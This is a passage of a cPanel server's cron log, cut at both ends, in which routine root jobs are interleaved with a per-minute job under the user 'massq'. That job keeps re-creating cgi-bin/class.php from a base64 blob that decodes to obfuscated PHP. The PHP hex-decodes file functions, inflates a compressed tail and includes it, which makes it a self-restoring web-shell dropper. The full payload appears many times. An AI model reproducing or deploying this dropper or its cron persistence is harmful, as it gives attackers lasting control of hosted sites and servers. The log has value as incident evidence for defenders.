BRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:25:01 server CROND[4488]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 10 10:25:01 server CROND[4490]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 10:25:01 server CROND[4489]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 10:25:01 server CROND[4491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:26:01 server CROND[4608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:27:01 server CROND[4665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:27:01 server CROND[4666]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 10:28:01 server CROND[4747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:29:01 server CROND[4917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:30:01 server CROND[4998]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 10:30:01 server CROND[4999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:30:01 server CROND[5000]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 10:30:01 server CROND[5001]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 10:31:01 server CROND[5123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:32:01 server CROND[5195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:33:01 server CROND[5262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:34:01 server CROND[5430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:35:01 server CROND[5510]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 10:35:01 server CROND[5511]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 10:35:01 server CROND[5513]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 10:35:01 server CROND[5514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:35:01 server CROND[5512]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 10:36:01 server CROND[5638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:37:01 server CROND[5706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:38:01 server CROND[5780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgy